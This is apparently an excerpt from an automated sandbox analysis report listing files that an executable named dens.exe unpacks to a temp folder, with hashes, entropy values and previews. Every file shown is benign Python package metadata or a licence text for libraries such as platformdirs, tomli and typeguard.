SSDEEP:	48:bsnuXksXW2Bsv8VsQ7lEsahOsbs5Jhsde8UogvtJkHpHAfEcysrD5WJeCzESowj:vXrW2s8JsMdVogvtJkJgfksP5qeCzOwj
MD5:	88FBF3C6BD08040482212DAD5A8EAB02
SHA1:	E7EE66942F7321FB77888D492D57C2EEEA1A5171
SHA-256:	38A6898306293627C81E2B2D8A93E5F6857D5F7EDB73F0334E8D9A53DAD53B6E
SHA-512:	786AE1F883A999A0939C22A756F90D74CC7F87AAF13F6FFF22D8D962D213A1ECBC6AAE2890A5D7347487824CD0E9EB440A3923F01F938EEF068719DFEEE96554
Malicious:	false
Preview:	packaging-24.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..packaging-24.1.dist-info/LICENSE,sha256=ytHvW9NA1z4HS6YU0m996spceUDD2MNIUuZcSQlobEg,197..packaging-24.1.dist-info/LICENSE.APACHE,sha256=DVQuDIgE45qn836wDaWnYhSdxoLXgpRRKH4RuTjpRZQ,10174..packaging-24.1.dist-info/LICENSE.BSD,sha256=tw5-m3QvHMb5SLNMFqo5_-zpQZY2S8iP8NIYDwAo-sU,1344..packaging-24.1.dist-info/METADATA,sha256=X3ooO3WnCfzNSBrqQjefCD1POAF1M2WSLmsHMgQlFdk,3204..packaging-24.1.dist-info/RECORD,,..packaging-24.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..packaging-24.1.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..packaging/__init__.py,sha256=dtw2bNmWCQ9WnMoK3bk_elL1svSlikXtLpZhCFIB9SE,496..packaging/__pycache__/__init__.cpython-312.pyc,,..packaging/__pycache__/_elffile.cpython-312.pyc,,..packaging/__pycache__/_manylinux.cpython-312.pyc,,..packaging/__pycache__/_musllinux.cpython-312.pyc,,..packaging/__pycache__/_parser.cpython-312.pyc,,

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11429
Entropy (8bit):	5.039575520713946
Encrypted:	false
SSDEEP:	192:n9x/tlCtlsaCUpVQ7yHwgNF8NFvWVDM1RnzadSibNTTh+fOnnxa6jlES4h8a8KAH:3/tlCfsqpq7ydZzM0dGiCbvHcjNj61TA
MD5:	12306075DF09A0DBB93315FADDDF73FB
SHA1:	1AC8A3679AFCFEEC0BA00851F5F8095DD1B060CD
SHA-256:	CE6B227B4D46D4CB57474C2022FE57A557933BB89DAF4596BDF9B12AC296B869
SHA-512:	BA0A72B888A14F82FD44FB103C01EF0900B5302F18E986A8264A9A08AB77D1C655C392374FD7B0A98BEF9B9511F6EC78AF3EF8936091C80A0B5364F7A53DC20A
Malicious:	false
Preview:	Metadata-Version: 2.3.Name: platformdirs.Version: 4.2.2.Summary: A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`..Project-URL: Documentation, https://platformdirs.readthedocs.io.Project-URL: Homepage, https://github.com/platformdirs/platformdirs.Project-URL: Source, https://github.com/platformdirs/platformdirs.Project-URL: Tracker, https://github.com/platformdirs/platformdirs/issues.Maintainer-email: Bern.t G.bor <gaborjbernat@gmail.com>, Julian Berman <Julian@GrayVines.com>, Ofek Lev <oss@ofek.dev>, Ronny Pfannschmidt <opensource@ronnypfannschmidt.de>.License-Expression: MIT.License-File: LICENSE.Keywords: appdirs,application,cache,directory,log,user.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.780720255872038
Encrypted:	false
SSDEEP:	24:bn/2zDzoobEsJhfPWcs013+pj456szN6lnhta57WJ+guQg4:bnuXcob5Jhfucs+d49hta9WJ+g1X
MD5:	0E141A28570FC62974FC5CEADFE808E3
SHA1:	7B92561C5BBBA83D6E16A1C7B195089ACA1766AF
SHA-256:	4C211D76D42ED40EFC3ACFCC866D8912A718AFBCA2B7E51849442366D6E99FE8
SHA-512:	830721C18A35AECD1EFB81A5FAAF8AC0EA02428EDC5B294458556343788D894B76035F1E661214D975DF2A64DC8C3D6AAA7A53A99BE64B9413B6A5D89D549F9D
Malicious:	false
Preview:	platformdirs-4.2.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..platformdirs-4.2.2.dist-info/METADATA,sha256=zmsie01G1MtXR0wgIv5XpVeTO7idr0WWvfmxKsKWuGk,11429..platformdirs-4.2.2.dist-info/RECORD,,..platformdirs-4.2.2.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..platformdirs-4.2.2.dist-info/WHEEL,sha256=zEMcRr9Kr03x1ozGwg5v9NQBKn3kndp6LSoSlVg-jhU,87..platformdirs-4.2.2.dist-info/licenses/LICENSE,sha256=KeD9YukphQ6G6yjD_czwzv30-pSHkBHP-z0NS-1tTbY,1089..platformdirs/__init__.py,sha256=EMGE8qeHRR9CzDFr8kL3tA8hdZZniYjXBVZd0UGTWK0,22225..platformdirs/__main__.py,sha256=HnsUQHpiBaiTxwcmwVw-nFaPdVNZtQIdi1eWDtI-MzI,1493..platformdirs/__pycache__/__init__.cpython-312.pyc,,..platformdirs/__pycache__/__main__.cpython-312.pyc,,..platformdirs/__pycache__/android.cpython-312.pyc,,..platformdirs/__pycache__/api.cpython-312.pyc,,..platformdirs/__pycache__/macos.cpython-312.pyc,,..platformdirs/__pycache__/unix.cpython-312.pyc,,..platformdirs/__p

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.730668933656452
Encrypted:	false
SSDEEP:	3:RtEeXAaCTR73RP+tPCCfA5I:Rt2PFRWBB3
MD5:	8895639B8515B3094302B59E28AFB562
SHA1:	FBD4DA759EA5BEB65AE820DFBC47F9B569E89519
SHA-256:	CC431C46BF4AAF4DF1D68CC6C20E6FF4D4012A7DE49DDA7A2D2A1295583E8E15
SHA-512:	B53C0978DAD2A7195058ABC7B7D20A229EC617BDDBB364D8ED2354F37D5071208735774350F9FBBA5C804BEFCEFE71C27BC5E468E12899DF4687189C468785A0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: hatchling 1.24.2.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\platformdirs-4.2.2.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.119723466133474
Encrypted:	false
SSDEEP:	24:VrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:VaJHlxE3dQHOs5exm3ogFh
MD5:	EA4F5A41454746A9ED111E3D8723D17A
SHA1:	F511A8A63AF8C6E36004B593478436BBC560EE0C
SHA-256:	29E0FD62E929850E86EB28C3FDCCF0CEFDF4FA94879011CFFB3D0D4BED6D4DB6
SHA-512:	CACA68A5589CA2EAB7C0D74BA5D2B25E3367B9902DFC7578BBA911AC8F8BF1C3A13F25E663C5B6B19BA71BF611943E23F4D0A99BE92A8F7D7FF60732DC3DD409
Malicious:	false
Preview:	MIT License..Copyright (c) 2010-202x The platformdirs developers..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1072
Entropy (8bit):	5.10135495500641
Encrypted:	false
SSDEEP:	24:f9rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:1aJHlxE3dQHOs5exm3ogFh
MD5:	AAAAF0879D17DF0110D1AA8C8C9F46F5
SHA1:	9DA6CA26337A886FB3E8D30EFD4AEDA623DC9ADE
SHA-256:	B80816B0D530B8ACCB4C2211783790984A6E3B61922C2B5EE92F3372AB2742FE
SHA-512:	EECD0C29FEBF51ADEFB02F970E66EFE7E24D573686DFDB3BEEA63CEFEA012A79CE3C49A899B4F26E9B67DC27176B397F6041909227281F9866BEEDC97389095C
Malicious:	false
Preview:	MIT License..Copyright (c) 2021 Taneli Hukkinen..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CON

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8875
Entropy (8bit):	4.884349533695185
Encrypted:	false
SSDEEP:	192:h15VsahrDzoGlmLxUJyLIPXR/yrKK3Trclclg2pj4VRR6V8wNVonQd:3swrAamWuIPA2K3v2g
MD5:	CBBF7047A51FEDA58386E86182B85B8A
SHA1:	D3EA3BDA227794AE35FE7FFC5BD6E5FA2A5EF250
SHA-256:	CCF0DC78A98FC0918B5AD67292B1E2C4BED65575A6246CD9D63C914F9942A0F2
SHA-512:	A994914F1676790730C6BDACA26FE5F1B18BA9A3B9F0D24D708C722424DED255360A0CC88E239C6BFE467BD2763DF7339BB6B760AB090FAE474A7C9C8AFA8948
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	Metadata-Version: 2.1.Name: tomli.Version: 2.0.1.Summary: A lil' TOML parser.Keywords: toml.Author-email: Taneli Hukkinen <hukkin@users.noreply.github.com>.Requires-Python: >=3.7.Description-Content-Type: text/markdown.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: MacOS.Classifier: Operating System :: Microsoft :: Windows.Classifier: Operating System :: POSIX :: Linux.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :: Python :: Implementation :: PyPy.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Typing :: Typed.Project-URL: Changelog, https://github.com/hukkin/tomli/blob/master/CHANGELOG.md.Project-URL:

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	999
Entropy (8bit):	5.89030761653127
Encrypted:	false
SSDEEP:	24:4n/2zDRv53Pb4EsJWc6QtD8r8N8bh8WNdop2+oM8+kzAL5+1:4nuXR1Pb45JWc6QmIebKWcpHoM8JMLy
MD5:	D5FAB61E3DB6B54B51FBA607865C195B
SHA1:	B94D9126E8FC9D5F29FAFBB67F068E2D111D17FC
SHA-256:	0CB9F9A451A1E365AC54B4C88662E1DA0CB54A72D16A5258FB0ABFF9D3E1C022
SHA-512:	ABD3EF61D8D578C1DE609560A6985503E60BD53F90DCFF54EBEE23714D9CD88DBA4036ED19B24EC62B8432550311894FCC47BDCCD7CE4DCDE82518F4E02E123C
Malicious:	false
Preview:	tomli-2.0.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..tomli-2.0.1.dist-info/LICENSE,sha256=uAgWsNUwuKzLTCIReDeQmEpuO2GSLCte6S8zcqsnQv4,1072..tomli-2.0.1.dist-info/METADATA,sha256=zPDceKmPwJGLWtZykrHixL7WVXWmJGzZ1jyRT5lCoPI,8875..tomli-2.0.1.dist-info/RECORD,,..tomli-2.0.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..tomli-2.0.1.dist-info/WHEEL,sha256=jPMR_Dzkc4X4icQtmz81lnNY_kAsfog7ry7qoRvYLXw,81..tomli/__init__.py,sha256=JhUwV66DB1g4Hvt1UQCVMdfCu-IgAV8FXmvDU9onxd4,396..tomli/__pycache__/__init__.cpython-312.pyc,,..tomli/__pycache__/_parser.cpython-312.pyc,,..tomli/__pycache__/_re.cpython-312.pyc,,..tomli/__pycache__/_types.cpython-312.pyc,,..tomli/_parser.py,sha256=g9-ENaALS-B8dokYpCuzUFalWlog7T-SIYMjLZSWrtM,22633..tomli/_re.py,sha256=dbjg5ChZT23Ka9z9DHOXfdtSpPwUfdgMXnj8NOoly-w,2943..tomli/_types.py,sha256=-GTG2VUqkpxwMqzmVO4F7ybKddIbAnuAHXfmWQcTi3Q,254..tomli/py.typed,sha256=8PjyZ1aVoQpRVvt71muvuq5qE-jTFZkK-GLHkhdebmc,26..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFMthP+tPCCfA5I:Rt1QqDWBB3
MD5:	FF39892A240316BD62B5832C03D504BC
SHA1:	3883FC4406CC9A73BE0B839C1A0C31D3DDD64829
SHA-256:	8CF311FC3CE47385F889C42D9B3F35967358FE402C7E883BAF2EEAA11BD82D7C
SHA-512:	B2E57D9C81BBFB7364B8216FC086B8F73C2F2B537E300FB250EFB7972E3908F77A3D504363676C50A195D307822C69EE9B689DE6C48A4E6B8A6BA89A5A99AC32
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.6.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1130
Entropy (8bit):	5.118590213496374
Encrypted:	false
SSDEEP:	24:qt4rWHvH0yPP3Gt6Hw1hP9QHmsUv48OV/+dho3BoqxFB:/S/lPvKhlQHms5QK3WmFB
MD5:	F0E423EEA5C91E7AA21BDB70184B3E53
SHA1:	A51CCDCB7A9D8C2116D1DFC16F11B3C8A5830F67
SHA-256:	6163F7987DFB38D6BC320CE2B70B2F02B862BC41126516D552EF1CD43247E758
SHA-512:	8BE742880E6E8495C7EC4C9ECC8F076A9FC9D64FC84B3AEBBC8D2D10DC62AC2C5053F33B716212DCB76C886A9C51619F262C460FC4B39A335CE1AE2C9A8769A8
Malicious:	false
Preview:	This is the MIT license: http://www.opensource.org/licenses/mit-license.php..Copyright (c) Alex Gr.nholm..Permission is hereby granted, free of charge, to any person obtaining a copy of this.software and associated documentation files (the "Software"), to deal in the Software.without restriction, including without limitation the rights to use, copy, modify, merge,.publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons.to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or.substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,.INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR.PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE.FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF C

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3717
Entropy (8bit):	4.986068381037722
Encrypted:	false
SSDEEP:	96:DSQRbraktjaAckH94jQnJIK04Fak/grjspC3EklAJj:/Rakd4jA7ak/gvspNWmj
MD5:	B6DAAC02F66AC8403E9061881322BABE
SHA1:	9A94672CCFEA06156A5F8A321CD0626CFD233AE8
SHA-256:	CF675C1C0A744F08580855390DE87CC77D676B312582E8D4CFDB5BB8FD298D21
SHA-512:	9C6B7326C90396AA9E962C2731A1085EDB672B5696F95F552D13350843C09A246E0BBF0EC484862DFF434FA5A86DE4C0B7C963958ADE35A066B9D2384076DD47
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: typeguard.Version: 4.3.0.Summary: Run-time type checker for Python.Author-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.License: MIT.Project-URL: Documentation, https://typeguard.readthedocs.io/en/latest/.Project-URL: Change log, https://typeguard.readthedocs.io/en/latest/versionhistory.html.Project-URL: Source code, https://github.com/agronholm/typeguard.Project-URL: Issue tracker, https://github.com/agronholm/typeguard/issues.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Python: >=3.8.Description-Content

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2402
Entropy (8bit):	5.729208478282605
Encrypted:	false
SSDEEP:	48:eDnuX3DVED9HDDeDfPDLkAosGDlDiVoBFj7XH0H3HuwVB6Kgfkx7J/Q1NK1cQyxk:eyX3WRHDiLPjksV7I47J/Q1U6Qyx5fsJ
MD5:	D680B2881597974ACD91750E5AB61010
SHA1:	E00ED2416B5CE21641E3946905504D62D536972F
SHA-256:	48A51959582478352275428CEECD78EF77D79AC9DAE796E39A2EAF2540282552
SHA-512:	112172ACB515B0712AC58D78898EB159580ADA3DD3F16AABB37CB7A8D964F9E4BADF2869A245927B83B208D56904831C0F04ED925C95DFCB705801734FB0C7BA
Malicious:	false
Preview:	typeguard-4.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..typeguard-4.3.0.dist-info/LICENSE,sha256=YWP3mH37ONa8MgzitwsvArhivEESZRbVUu8c1DJH51g,1130..typeguard-4.3.0.dist-info/METADATA,sha256=z2dcHAp0TwhYCFU5Deh8x31nazElgujUz9tbuP0pjSE,3717..typeguard-4.3.0.dist-info/RECORD,,..typeguard-4.3.0.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..typeguard-4.3.0.dist-info/entry_points.txt,sha256=qp7NQ1aLtiSgMQqo6gWlfGpy0IIXzoMJmeQTLpzqFZQ,48..typeguard-4.3.0.dist-info/top_level.txt,sha256=4z28AhuDodwRS_c1J_l8H51t5QuwfTseskYzlxp6grs,10..typeguard/__init__.py,sha256=Onh4w38elPCjtlcU3JY9k3h70NjsxXIkAflmQn-Z0FY,2071..typeguard/__pycache__/__init__.cpython-312.pyc,,..typeguard/__pycache__/_checkers.cpython-312.pyc,,..typeguard/__pycache__/_config.cpython-312.pyc,,..typeguard/__pycache__/_decorators.cpython-312.pyc,,..typeguard/__pycache__/_exceptions.cpython-312.pyc,,..typeguard/__pycache__/_functions.cpython-312.pyc,,..typeguard/__pycache__/_i

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.155187698990101
Encrypted:	false
SSDEEP:	3:mWSJCQEjMitjHfLvn:mrMJHfbn
MD5:	AEAB5BCF8BF89A51C97C4CDF70578848
SHA1:	2E9C1617560AB66431AAB90700DB901985293485
SHA-256:	AA9ECD43568BB624A0310AA8EA05A57C6A72D08217CE830999E4132E9CEA1594
SHA-512:	2BE73E99296DF26A28835F91DD8BC50EB104AF06A3C54666175FAF322E0AD4620453DB0388531C4113B052A92C1D2E4C3088E25AF43CDE42AA852CF7B0CB5B05
Malicious:	false
Preview:	[pytest11].typeguard = typeguard._pytest_plugin.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typeguard-4.3.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:LEJn:M
MD5:	004A2A8CE1AB120A63902A27D76BD964
SHA1:	A4E367AB40410598DADD1FC5F680ED7A176BEB09
SHA-256:	E33DBC021B83A1DC114BF73527F97C1F9D6DE50BB07D3B1EB24633971A7A82BB
SHA-512:	0D8FF9A43897AB390AB41AFE5BAC8BD38A68C2BEF88E844E5B49BF70E3164B226975CC2717AE3DC3428D1CFBB0BE068C243F104915FEE1FFA58C23FBE76FDB89
Malicious:	false
Preview:	typeguard.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13936
Entropy (8bit):	5.135214154002924
Encrypted:	false
SSDEEP:	384:cke8RQ6KSAdxC9ad9iqsibQtKti9zpQpzu9Jkh:K8RQ6q7C9ad9iqT8cti9zpQpzu7kh
MD5:	FCF6B249C2641540219A727F35D8D2C2
SHA1:	C6E195F9AA30CC9B675D1612CA4FB7F74111BD35
SHA-256:	3B2F81FE21D181C499C59A256C8E1968455D6689D269AA85373BFB6AF41DA3BF
SHA-512:	70367B908204B5922E5D9D2ACE39437DBAA1EEFDAD1797B50CC6E7DCA168D9B59199353BADDDCAEEE12B49D328FC8132F628952383CFE6803CB4F4BF9B9D6D86
Malicious:	false
Preview:	A. HISTORY OF THE SOFTWARE.==========================..Python was created in the early 1990s by Guido van Rossum at Stichting.Mathematisch Centrum (CWI, see https://www.cwi.nl) in the Netherlands.as a successor of a language called ABC. Guido remains Python's.principal author, although it includes many contributions from others...In 1995, Guido continued his work on Python at the Corporation for.National Research Initiatives (CNRI, see https://www.cnri.reston.va.us).in Reston, Virginia where he released several versions of the.software...In May 2000, Guido and the Python core development team moved to.BeOpen.com to form the BeOpen PythonLabs team. In October of the same.year, the PythonLabs team moved to Digital Creations, which became.Zope Corporation. In 2001, the Python Software Foundation (PSF, see.https://www.python.org/psf/) was formed, a non-profit organization.created specifically to own Python-related Intellectual Property..Zope Corporation was a sponsoring member of the PS

